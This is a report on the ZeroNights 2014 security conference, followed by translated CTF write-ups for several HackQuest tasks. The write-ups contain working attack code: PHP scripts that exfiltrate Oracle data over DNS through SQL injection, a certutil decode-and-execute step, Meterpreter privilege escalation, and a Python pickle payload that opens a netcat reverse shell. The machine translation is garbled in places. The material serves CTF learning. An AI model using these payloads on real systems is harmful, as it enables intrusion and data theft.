📜 ⬆️ ⬇️

Conference ZeroNights 2014 - how everything was

For the fourth time, a conference dedicated to information security was held in Moscow - ZeroNights 2014.

image

Like last year, in order to get to ZeroNights, you had to either buy a ticket to the event or win it at HackQuest. About HackQuest we announced on Habré , and, as expected, the tasks were quite high complexity. Instead of the allotted 24 hours for each task, some hung for three days without a solution, but with a bunch of hints. How do you, for example, hack a program written in Limbo, which runs in the Inferno OS emulator, or write firmware for a device in Verilog, which is connected as a person in the middle between two other devices that transmit the encrypted data to each other? On 5 out of 8 assignments, participants published raitaps, which you can find below.
')
The conference was held for two days: November 13 and 14. At the same time, it was possible to attend two tracks in which reports were read, or to take part in workshops in which cool technical tricks were told and shown, and thus taught you. Also, the Hardware Village worked all two days - a stand with radio, RFID, NFC and wired equipment for carrying out attacks.
In addition to the main program, there were also Fast Track - short 15-minute reports on everything and Defensive Track - 20-minute reports on security in any environment.
Workshops were on a variety of topics: from how-to on tools and standard unsafe settings of routers, to hacking the AES-128-ECB key through the readings of electricity consumed.

All two days of the conference, a stand from Qiwi worked, from which one could get branded stickers and bracelets, but the most interesting thing was the real Qiwi terminal, with which conference visitors could interact in any way. In the case of a terminal hacking, the hacker was encouraged with 150 thousand rubles, but, unfortunately, no one was able to crack it in full. Also, they distributed Qiwi Visa Unembossed cards, which could be obtained by taking photos with Qiwi-girls, and putting the photo on a social network with the hashtags #zeronighs and #qiwi.
imageimage

The reports were very diverse and interesting, there were really a lot of them. An introductory speech at the conference was given to Alexander Peslyak, who made a presentation on " Is infosec a game? ", Implementing the presentation in the form of a DOS game, the last modification of which is dated 1995, and replacing its resources.

image

Personally, I really liked Boris Ivanov’s workshop “ Investigation of a computer {banking} banking trojan’s incident ”, in which you had the opportunity to do the same things that virus analysts do when analyzing a banking trojan’s infected machine, and Roman Korkykyan ” We are looking for cryptographic algorithm keys through consumed power "which I mentioned earlier.

Here is one of the reviews about the conference:
In my opinion, the most important event of the year was the international conference on the practical aspects of information security, ZeroNights.

The greatest interest was the presentations of speakers related to the safety of automated control systems (APCS). These topics have been presented in several reports. The first of the reports was devoted to the security analysis of the FDT / DTM technology, which provides a unified interface for controlling heterogeneous field devices that are part of a single process control system. As part of this work, a team of researchers from Digital Security company using fuzzing investigated about 750 field devices using the HART protocol, and 500 of them discovered vulnerabilities, such as remote code execution, denial of service, race condition, xml injection. More details on the results of the study and the methods of fuzzing used can be found in the report located on the company's website.

Another report covering the security of the automated process control systems was devoted to the security analysis of 4G mobile networks. Researchers at Positive Technologies have found a number of vulnerabilities that allow sending a binary SMS message to the victim’s number, gain a foothold on its SIM card — cause it to be blocked, change the subscriber, and track its location. This topic is becoming extremely relevant due to the wide distribution of industrial control systems built on the use of radio channels (in particular, based on 4G networks). Similar systems are also used in the field of railway infrastructure.

Also at the conference various events aimed at improving professional skills and qualities were held. At the Hardware Village site, visitors could explore and work with various hardware and software. Methods of analyzing malware, methods of forensics on mobile platforms, methods of hacking cryptographic algorithms were demonstrated on two separate, so-called workshop platforms. Throughout the conference, Qiwi terminals worked, where visitors could try to find vulnerabilities and exploit them. Qiwi also organized computer security competitions - CTF (Capture The Flag), which took place on a separate site, in parallel with the presentations of the speakers. In conclusion, we can say that all the reports were very interesting and informative, and thanks to the free communication at the conference and the friendly atmosphere, we managed to make new acquaintances, discuss interesting news and many other topics related to practical aspects of information security.

Many thanks to the organizers for the opportunity to informally communicate with colleagues, get acquainted with the results of in-depth studies conducted by leading foreign and Russian experts in the field of cybersecurity, and the high level of conference organization.

- Alexander Korotin (Leading Specialist, Cyber ​​Security Center, Russian Railways)


Writeups


Hidden text

Day 1/8 - Alighieri (reverse)


Winners: BECHED && OKOB. The author of the raitap is BECHED.
The task was also decided: derwolfman, neomant, Anton Cherepanov
Hidden text
We're given a binary 2014_1_Alighieri.exe.
$ file 2014_1_Alighieri.exe 2014_1_Alighieri.exe: PE32 executable (console) Intel 80386, for MS Windows 


We can conclude that you’ve been using the emulator for InfernoOS (https://github.com/fr1tz/aid/blob/master/emu/port/main.c).
Let's launch the binary in wine:

 $ wine 2014_1_Alighieri.exe ...Gimme something... $ wine 2014_1_Alighieri.exe asd ...But already my desire and my will were being turned like a wheel, all at one speed, by the Love which moves the sun and the other stars.-1.000000 -1.200000 ! -1.000000 -1.200000 ! -1.222220 -1.200000 ! 0.000000 -1.200000 ! Your system has been tainted... S0rry! =-+_&*¦№ў<¦¬B¬VI-N¦ 


Clearly, the emulator is somehow patched. We can notice that we’ve been observing the binary. Parse the .gz files using '\ xc0 \ x0c \ x80 \ x30 \ x80 \ x40' magic string.
This is a copy of the binaries written in Limbo language.
Unpack emuinit.b.gz and take a look at this part of the code:
 if(len args < 2) sys->fprint(sys->fildes(2), "Gimme something..."); else{ str := "-c /dis/echo " + hd tl args + " | /dis/crypt"; args1 := list of {"sh", str,}; mod: Command; (mod, args1) = loadmod(args1); mod->init(nil, args1); } 


There's a vulnerability leading to sandbox escape:
Hidden text
 $ wine 2014_1_Alighieri.exe 'LOL ;/dis/sh.dis;/dis/echo AHAHA' ...LOL ; ls / / /appl /bin /boot /cdrom /chan /dev /dis /env /etc /fd /fonts /home /initrd.img /initrd.img.old /lib /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /mnt /n /net /net.alt /nvfs /opt /poem.txt /prof /prog /root /run /sbin /srv /tmp /usr /var /vmlinuz 


We can download them (http://code.google.com/r/jasoncatena-acmesac/source/browse/), which is mounted in Inferno VM.

  ; ./cat.dis /mnt/blas.txt I2luY2x1ZGUgImxpYjkuaCIKI2luY2x1ZGUgIm1hdGhpLmgiCgpkb3VibGUKZG90KGludCBuLCBk b3VibGUgKngsIGRvdWJsZSAqeSkKewoJZG91YmxlCXN1bSA9IDA7CglpbnQgaSA9IChpbnQpIHlb MF07Cgl1bnNpZ25lZCBjaGFyIGtbXSA9IHsgMCwxLDIsMyw0LDUsNiw3LDgsOSB9OwoJdW5zaWdu ZWQgY2hhciBqID0gKHVuc2lnbmVkIGNoYXIpIHhbMF07CQoKCXByaW50ZigiJWYgJWYgIVxuIiwg eFszXSwgeVszXSk7CgoJaWYgKG4gPD0gMCkgCgkJcmV0dXJuIDA7Cgl3aGlsZSAobi0tKSB7CgkJ c3VtICs9ICp4KysgKiAqeSsrOwoJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgIAlzdW0gPSAoZG91YmxlKSAoaiBeIGtbaV0pOwoKCXJldHVybiBzdW07Cn0K CgppbnQKaWFtYXgoaW50IG4sIGRvdWJsZSAqeCkKewoJaW50CWksIG07Cglkb3VibGUJeG0sIGE7 CglpZiAobiA8PSAwKSAKCQlyZXR1cm4gMDsKCW0gPSAwOwoJeG0gPSBmYWJzKCp4KTsKCWZvciAo aSA9IDE7IGkgPCBuOyBpKyspIHsKCQlhID0gZmFicygqKyt4KTsKCQlpZiAoeG0gPCBhKSB7CgkJ CW0gPSBpOwoJCQl4bSA9IGE7CgkJfQoJfQoJcmV0dXJuIG07Cn0KCgpkb3VibGUKbm9ybTEoaW50 IG4sIGRvdWJsZSAqeCkKewoJZG91YmxlCXN1bSA9IDA7CglpZiAobiA8PSAwKSAKCQlyZXR1cm4g MDsKCXdoaWxlIChuLS0pIHsKCQlzdW0gKz0gZmFicygqeCk7CgkJeCsrOwoJfQoJcmV0dXJuIHN1 bTsKfQoKCmRvdWJsZQpub3JtMihpbnQgbiwgZG91YmxlICp4KQp7Cglkb3VibGUJc3VtID0gMDsK CWlmIChuIDw9IDApIAoJCXJldHVybiAwOwoJd2hpbGUgKG4tLSkgewoJCXN1bSArPSAqeCAqICp4 OwoJCXgrKzsKCX0KCXJldHVybiBzdW07Cn0K 



Decode:
Hidden text
 #include "lib9.h" #include "mathi.h" double dot(int n, double *x, double *y) { double sum = 0; int i = (int) y[0]; unsigned char k[] = { 0,1,2,3,4,5,6,7,8,9 }; unsigned char j = (unsigned char) x[0]; printf("%f %f !\n", x[3], y[3]); if (n <= 0) return 0; while (n--) { sum += *x++ * *y++; } sum = (double) (j ^ k[i]); return sum; } int iamax(int n, double *x) { int i, m; double xm, a; if (n <= 0) return 0; m = 0; xm = fabs(*x); for (i = 1; i < n; i++) { a = fabs(*++x); if (xm < a) { m = i; xm = a; } } return m; } double norm1(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += fabs(*x); x++; } return sum; } double norm2(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += *x * *x; x++; } return sum; } 



Note that dot () function obviously always returns 51 (ord ('3')).
See the system initialization. Now let's take a look at crypto.b:
 ... x := array[] of {50.0, 432432.32423, 0.0, -1.0}; y := array[] of {1.00, 24373.231879, 0.0, -1.2}; decrypt := 0; secret: array of byte; alg := DEFAULTALG; rand->init(132321); s := "P" + "r" + "i" + "vet" + "Py" + "otr" + "!" + "Py" + "otr" + "lo" + "ves" + "Go" + "&Po" + "ke" + "mons" + "!236"+"783"; secret = array of byte s; # enough for tips guys, the s3cr3t could be found in the dis file... you need to go d333p3r inside it! s = string secret; sys->fprint(stderr, "Your system has been tainted... S0rry!\r\n"); ... 


'PrivetPyotr! PyotrlovesGo & Pokemons! 236783' is not a flag, there's something more. The source code is clearly trimmed.
Let's get the disassembly of crypt.dis:

Hidden text
 ; disdump crypt.dis frame $8, 40(fp) ... newa $4, $3, 40(fp) // x := array[] of {50.0, 432432.32423, 0.0, -1.0}; indf 40(fp), 96(fp), $0 movf 80(mp), 0(96(fp)) indf 40(fp), 96(fp), $1 movf 96(mp), 0(96(fp)) indf 40(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 40(fp), 96(fp), $3 movf 104(mp), 0(96(fp)) newa $4, $3, 48(fp) // y := array[] of {1.00, 24373.231879, 0.0, -1.2}; indf 48(fp), 96(fp), $0 movf 48(mp), 0(96(fp)) indf 48(fp), 96(fp), $1 movf 88(mp), 0(96(fp)) indf 48(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 48(fp), 96(fp), $3 movf 112(mp), 0(96(fp)) movw $0, 60(fp) movp 228(mp), 56(fp) mframe 224(mp), $0, 96(fp) movw $132321, 32(96(fp)) // rand->init(132321); mcall 96(fp), $0, 224(mp) movp 136(mp), 76(fp) cvtca 76(fp), 44(fp) indb 44(fp), 96(fp), $2 mframe 212(mp), $0, 100(fp) movp 40(fp), 32(100(fp)) movp 48(fp), 36(100(fp)) lea 112(fp), 16(100(fp)) mcall 100(fp), $0, 212(mp) cvtfw 112(fp), 92(fp) cvtwb 92(fp), 0(96(fp)) indf 40(fp), 100(fp), $1 indf 40(fp), 96(fp), $2 // s[2] = chr(int(dot(3,x,y))&0xFF) mulf 0(96(fp)), 64(mp), 112(fp) // x[1] = (x[2] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 // y[2] = 48(fp) = 50.0 movf 48(mp), 0(100(fp)) indb 44(fp), 100(fp), $4 // s[2] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $3 mulf 0(96(fp)), 56(mp), 0(100(fp)) // x[3] *= 56(mp) = 1.22222 indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $35 // s[35] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $1 mulf 0(96(fp)), 64(mp), 112(fp) // x[3] *= (x[1] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $36 // s[36] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $37 // s[37] = rand(2014) mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $34 // s[34] = rand(2014) - 50 mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) subw $50, 96(fp) ... 



The next step is to analyze rand () algorithm. The source code of patched library is located at /appl/lib/rand.b.
implement Rand;

Hidden text
 include "rand.m"; rsalt: big; init(seed: int) { rsalt = big 10; } MASK: con (big 1<<63)-(big 1); rand(modulus: int): int { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= 0) return 0; return int (((rsalt&MASK)>>10) % big modulus); } # 0 < modulus < 2^53 bigrand(modulus: big): big { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= big 0) return big 0; return ((rsalt&MASK)>>10) % modulus; } 



We are putting the algorithm in key generation in python:
 rsalt = 10 MASK = (1<<63)-(1) def rand(modulus): global rsalt global MASK rsalt = rsalt * 1103515245 + 12345; if modulus <= 0: return 0 return int (((rsalt&MASK)>>10) % modulus) s = [ord(x) for x in 'PrivetPyotr!PyotrlovesGo&Pokemons!236783'] s[2] = 51 s[4] = 51 s[35] = 51 s[36] = 51 s[37] = rand(2014) & 0xFF s[34] = rand(2014) - 50 & 0xFF print ''.join([chr(x) for x in s]) 


Launch it and get the flag:

 $ python genkey.py Pr3v3tPyotr!PyotrlovesGo&Pokemons!w33\83 



Day 2/8 - Yolochka (Misc / Pentest)


Winner and author of the hangup: BECHED.

Hidden text
One server has 9100 (Apache Tomcat) and 1521 (Oracle TNS) ports (1510 (tcpwrapped)).

It’s time to solve it. Here are the steps, which actually led to the flag.

1. Guess the directory on the web server (it's the name of the task): 80.70.234.121 : 9100 / yolochka /

2. If you’re on the whole query, you’re injecting the whole query.
Write an exploit for DNS data exfiltration:
 <?php for($i = 1; $i < 100; ++$i) { $query = "SELECT table_name FROM (SELECT DISTINCT owner, ROWNUM r, table_name FROM all_tables) WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); } 


Note this in Bind9 log file:
 queries: info: client 74.125.46.19#64029: query: SDO_WS_CONFERENCE_PARTICIPANTS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.46.81#50980: query: SDO_TIN_PC_SEQ.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.147#54802: query: SDO_TIN_PC_SYSDATA_TABLE.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.82#58315: query: WWV_FLOW_DUAL100.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.16#48794: query: CUSTOMERS1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.151#54859: query: SDO_WFS_LOCAL_TXNS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.80#38451: query: SDO_GR_RDT_1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.149#47182: query: SDO_GR_PARALLEL.zeronights.ahack.ru IN A -ED (192.168.1.105) 


Let's get the column names:
 <?php for($i = 1; $i < 100; ++$i) { $query = "SELECT column_name FROM (SELECT DISTINCT owner, ROWNUM r, column_name FROM all_tab_columns WHERE table_name='CUSTOMERS1') WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.$i.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); } 


 queries: info: client 74.125.74.144#53451: query: CUSTOMER_ID.1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.146#55711: query: CUSTOMER_NAME.2.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.145#57572: query: CITY.3.zeronights.ahack.ru IN A -ED (192.168.1.105) 


It’s not clear that there’s a way to get it.

 login for TNS - c##webdbadmin, password - strongpassword123 


3. There's nothing interesting in the database. But do you remember the second host? Maybe it's time for Database link.
The problem is that we don’t know the credentials. TNS poisoning shouldn't help us, but it didn't work. Thus, the credentials of the SID (though we brute forced SID earlier):

 31337=SYS poradb BRUKERNAVN 


BRUKERHAVN is the default account, let's try it:

 CREATE DATABASE LINK TEST123 CONNECT TO BRUKERNAVN IDENTIFIED BY "PASSWORD" USING '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=80.70.234.122)(PORT=1521))(CONNECT_DATA=(SERVER = DEDICATED)(SERVICE_NAME=PORADB)(ROLE=DEFAULT)))'; 


4. Get the tables:
 select * from user_tables@TEST123 


There's a table PRIVATESTORAGE with fields login and password. Login contains 31337 (SYS, as mentioned in the hint above), password seems blank, rawtohex (password) yields 20,000,000 ...
The new hint says: "redaction". Ok! We can bypass the redaction mechanism (google for "Oracle redaction") simply by exploiting the boolean-based SQL-injection like this:

 select * from PRIVATESTORAGE@TEST123 where ascii(substr(password,1,1))>40 


We get the password for the first TNS: 871526.

5. Log into database, and there's no flag! Seems like we need code execution. The Java procedure failed to follow the peculiarities of Navicat, but PL / SQL worked fine:

 DECLARE l_output DBMS_OUTPUT.chararr; l_lines INTEGER := 1000; BEGIN DBMS_OUTPUT.enable(1000000); DBMS_JAVA.set_output(1000000); host_command('dir'); DBMS_OUTPUT.get_lines(l_output, l_lines); FOR i IN 1 .. l_lines LOOP -- Do something with the line. -- Data in the collection - l_output(i) DBMS_OUTPUT.put_line(l_output(i)); END LOOP; END; 


Hint says now to perform DLL injection. We tried to replace oci.dll with custom one (generated by x64 msfvenom), but no success, cause DLL execution hasn't been triggered.
BTW, FTP didn’t base64-encoded like this:

 ... host_command('echo cmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>hui.enc'); host_command('certutil -decode hui.enc hui.exe'); host_command('hui.exe'); 


6. This command execution through Navicat is too inconvinient, let's upload Meterpreter!
This is a simple privilege of escalation in Meterpreter worked and gave the flag.

 meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== WIN-A4CD786SH46\oracuser Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM WIN-A4CD786SH46\Administrator meterpreter > impersonate_token WIN-A4CD786SH46\\Administrator [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user WIN-A4CD786SH46\Administrator meterpreter > getuid Server username: WIN-A4CD786SH46\Administrator 


 meterpreter > cd password meterpreter > ls Listing: c:\Users\Administrator\Desktop\password ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2014-10-03 04:02:41 +0400 . 40555/r-xr-xr-x 0 dir 2014-10-03 04:02:41 +0400 .. 100666/rw-rw-rw- 17 fil 2014-10-02 20:55:46 +0400 passwords.txt meterpreter > cat passwords.txt belkas'elakolbasy 


We can even get SYSTEM:

 meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 



Day 3/8 - InfectedTerminal (Reverse)


The winner and author is sysenter (Fayustov Denis). Mastrid.
Hidden text

On the other hand, Moscow’s pos-terminals were a network of ...


We are given an archive with three files. Among them are the standard C library, the license agreement file and the exe file of unknown content.
After viewing the executable file, you can draw several conclusions about it:
  • in zip archive overlay
  • packed upx
  • file created by py2exe

We remove upx and look into the resources, pick up PYTHONSCRIPT and python27.dll from there.

In principle, this work with the main exe can be considered finished, it does not contain the code of interest to us, except perhaps the instructions at base + 0x1361 (well, or somewhere nearby), on which it makes sense to put a breakpoint (the moment the library loads python27.dll).

As we have indicated earlier, the library from the resources is loaded for execution (without copying to disk, “manually”), and the load base is constant (standard from the header) and will change only if the desired memory region is busy.
Zip archive does not contain anything we need, there are only compiled pyc files from standard python libraries.

The next thing to do is unpack PYTHONSCRIPT, created by py2exe. I liked most the unpy2exe program [1]. However, just take and unpack will not work. Baytkod is encrypted.
The source code for the corresponding version of python was downloaded and the function of reading code bytes was found.
In source files. \ Python \ marshal.c r_object function case TYPE_CODE:

 argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); code = r_object(p); consts = r_object(p); names = r_object(p); 


Having examined the corresponding piece of code (1E124520 == r_object) from the dll we get:
 argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); unsigned int secret_key = (unsigned int)r_long(p); unsigned int secret_size = (unsigned int)r_long(p); DWORD * secret_buffer = 0; if ( secret_size <= 0x7FFFFFFF ) secret_buffer = (DWORD *)malloc(secret_size); memset(secret_buffer, 0, secret_size); } for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p); 


the decoded_code object receives a reference to secret_buffer;
 decode_bytecode(secret_size, secret_key, secret_buffer, secret_size / 4); code = r_object(decoded_code); if ( code ) { consts = r_object(p); names = r_object(p); 


By the constant 0x6611CB3B in the decode_bytecode function, we find the algorithm [2].
Around this time, a hint was published in the form of an unencrypted PYTHONSCRIPT, which was successfully swallowed by unpy2exe by unpacking two pyc files. With EasyPythonDecompiler, we decompile them into py files.
We do not need the space file in the name, while P429.py looks quite interesting:
<P429.py file>
First of all, from this code, we get the conditions that the bot wants to fulfill to add the address to HostStack. Pay attention to the function calls V9wP.O4Ik, Te8D.EqjC, T4a5.b3SS.decrypt. In the zip archive there are no files containing their ads. They are compiled into python27.dll (the so-called cython modules).

By string constants their addresses were determined:

 1E012F20 Te8D.EqjC Gate 1E00F570 Te8D.EqjC Impl 1E00DA40 T4a5.b3SS.decrypt Gate 1E009820 T4a5.b3SS.decrypt Impl 1E021760 V9wP.O4Ik.__init__ Gate 1E017030 V9wP.O4Ik.__init__ Impl 


Gate is the function in which the call of the address 0x1E0256A0 appears with the transfer of the function name as a parameter, and the corresponding Impl is also called.
Impl - the implementation of this function.
The function at 0x1E0256A0 will help you find all the cython functions (everyone has a Gate that calls it).
Having tried to trace these functions, we are faced with the problem of data representation in python, namely, the PyObject * type, looking at which in the debugger, it is difficult to immediately say that you have a function, class, number, string or tuple.
The solution to this problem was found as a function void _PyObject_Dump (PyObject * op) at 0x1E0CD0B0. All that it does is output information about the object transferred: the content, the type, the number of references to it, and the address. But the most important thing is that the output goes to the console of the application itself.
The following code was written for the Multiline Ultimate Assembler [4]:
 <1E01304A> JMP 1E13DF9D ; tuple <1E00DBDB> JMP 1E13DF9D ; b3SS.decrypt <1E00D85C> JMP 1E13DF9D ; b3SS.hash <1E00DA0B> JMP 1E13DF9D ; b3SS.encrypt <1E00DDA6> JMP 1E13DF9D ; b3SS.auth <1E012F1B> JMP 1E13DF9D ; lambda <1E02175B> JMP 1E13DF9D ; lambda <1E0240EB> JMP 1E13DF9D ; cexec <1E024210> JMP 1E13DF9D ; load <1E02438F> JMP 1E13DF9D ; inj <1E0244E0> JMP 1E13DF9D ; is64p <1E024EA6> JMP 1E13DF9D ; req <1E025110> JMP 1E13DF9D ; console <1E0237DB> JMP 1E13DF9D ; mask <1E026FCF> JMP 1E13DF9D ; __init__ <1E02718A> JMP 1E13DF9D ; __init__ <1E13DF9D> MOV ESP,EBP POP EBP PUSHAD PUSH EAX CALL 1E0CD0B0 ; return value POP EAX PUSH DWORD PTR SS:[ESP+28] CALL 1E0CD0B0 ; function arguments as tuple POP EAX PUSH DWORD PTR SS:[ESP+24] CALL 1E0CD0B0 ; function itself POP EAX POPAD RETN 




Given that the library of the python is always loaded at the same address, the patch code in multiasm becomes very convenient. In this case, we intercept control from some functions at the moment of exit and display the result of the work, the passed arguments in the form of a card (they come to us like that) and the name of the function.
Functions for interception were selected at random, there is no particular point in choosing these specifically. It is also worth noting that the interception did not quite accurately, for some functions after which there is no leveling INT3, damage to the start of the next function may occur. For me all the time, nothing has fallen about this, but it is worth bearing in mind that this is possible.
The log is obtained as a result of the work is quite large, we note some of the most interesting entries.

 '#ZN0x04_KuTweIsyfoPvoPxury', '[4a8c04]', "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7" ) 


The result of the function Te8D.EqjC, the same (ff_hash, ff_code, ff_key).

object: 'http: //*.*.*.*: 808 / bahgvsj /'
The value of ff_host, after running ff_host = b3SS (). Decrypt (ff_text, self.ff_key, self.ff_code) .lower ()

 object : 'CMD_GET_BGP_NSAP_DAMPENED_PATHS' object : 'CMD_MAKE_METRIC_TYPE_INTERNAL' object : "%PDF-1.5\n%\xd0\xd4\xc5\xd8\n1 0 obj\n<< /S /GoTo /D (section*.2) >> .... 


A few decrypted lines.

 object : "\x15\xeb:\xbc\x96\x00ccopy_reg\n_reconstructor\np0\n(cxkQr\nqr8D\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'cmd'\np6\nI13\nsS'params'\np7\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np8\nsb." object : (<T4a5.b3SS object at 0x00D39F10>, "\x15\xeb:\xbc\xc7\x00ccopy_reg\n_reconstructor\np1\n(cxkQr\na2Dx\np2\nc__builtin__\nobject\np3\nNtRp4\n(dp5\nS'token'\np6\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np7\nsS'cmd'\np8\nI7\nsS'ret'\np9\n(lp10\nVbahgvsj [4a8c04]\np11\naVbahgvsj\np12\nasb.", "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7", '7\x16\xb6A.\xf6(\xf8/\xd6i\xe3\xb7\xe5E\xf6') 


And, as it turned out, the most useful are chunks of serialized data. The first came from the server, the second went to the server.
It is known that, for example, in php, the unserialize function in some cases can lead to Object Injection. It was decided to check how things are in python. A warning in the documentation read:
It is not intended to comply with any erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source [5].


 import pickle import socket import os class payload(object): def __reduce__(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell" return (os.system, (comm,)) payload = pickle.dumps(payload()) print repr(payload) 


We get the line ready to be sent to the server.

 "cposix\nsystem\np0\n(S'rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell'\np1\ntp2\nRp3\n." 


Now we need to replace the data leaving us. Interception of the pickle.dumps function at 0x1E050C40 seemed to be the easiest, and in order to return a line in the form of PyObject * we will use another great python function PyObject * PyString_FromString (const char * v) at 0x1E0D4B80.
Thus, our patch takes the form (a line was written at 0x1E13DEC3):

 <1E050C40> JMP 1E13DE9B ; pickle.dumps <1E13DE9B> PUSHAD PUSH 1E13DEC3 CALL 1E0D4B80 ADD ESP,4 MOV DWORD PTR SS:[ESP+1C],EAX POPAD RETN 

Run the bot, apply the patch and wait for the incoming connection ... and wait :)
So, we got access to the command line of the server, and whoami showed that we are root (!!!).
It should be noted that a symmetrical bug is also present on the client, but given the availability of the ability to execute the shelcode, there is not much point in using it.
To the surprise of flag.txt, next to the server scripts, it did not turn out, as in other scripts and anything similar to the flag too, the search in the server did not bring any results. All scripts, some configs and logs were copied. I created a file with my email next to the scripts and finally decided to try to dump memcached (the server script used it). However, the server went out and did not rise anymore (either it was turned off, or I overdid it).
Later, talking to the creators of the quest in the IRC, to my surprise it turned out that the hacking of this server was not intended in principle, and the task is completely different.
There was also received a hint about the "need to estimate the number of infected machines," therefore the server now had to raise the server and "throw an alert" to bots.
From this point on, the use of the "cheat" server begins and the task in the further study of the compiled functions in the bot disappears almost completely. However, due to the fact that I didn’t immediately guess what specifically needed to be taken from the infected terminals, I nevertheless dismantled some of its main functions. According to this, now we will make a small lyrical digression and tell about the principles of the bot, which are not particularly important for getting an answer, but are just interesting.
Commands known bot. Although the server implemented some commands, such as displaying messages to the user, loading and executing the shelcode, the receipt of the process list was doubtful whether all the commands were supported by the bot. The answer was found in the O4Ik.cexec function at 0x1E018350. There the lines were deciphered - the names of the commands and adding them to the list, after which the index came from the server to check if there was a function that implements this command, and if so, it was executed. Here is a list of all theoretically supported commands.

And in article [6], an example of such exploitation was found.
We modify it for ourselves and serialize it.

1: 'CMD_GET_ROUTER_BGP',
2: 'CMD_MAKE_TRAFFIC_INDEX',
3: 'CMD_MAKE_METRIC',
4: 'CMD_GET_BGP_NSAP_PATHS',
5: 'CMD_GET_REDISTRIBUTE_DVMRP',
6: <bound method O4Ik.contributors>,
7: 'CMD_GET_CMD',
8: 'CMD_GET_BGP_NSAP_INCONSISTENT_AS',
9: 'CMD_GET_NEIGHBOR_VERSION',
10: 'CMD_GET_BGP_NSAP_DAMPENED_PATHS',
11: 'CMD_MAKE_METRIC_TYPE_INTERNAL',
12: 'CMD_GET_PREFIX_LENGTH_SIZE',
13: 'CMD_MAKE_TOKEN',
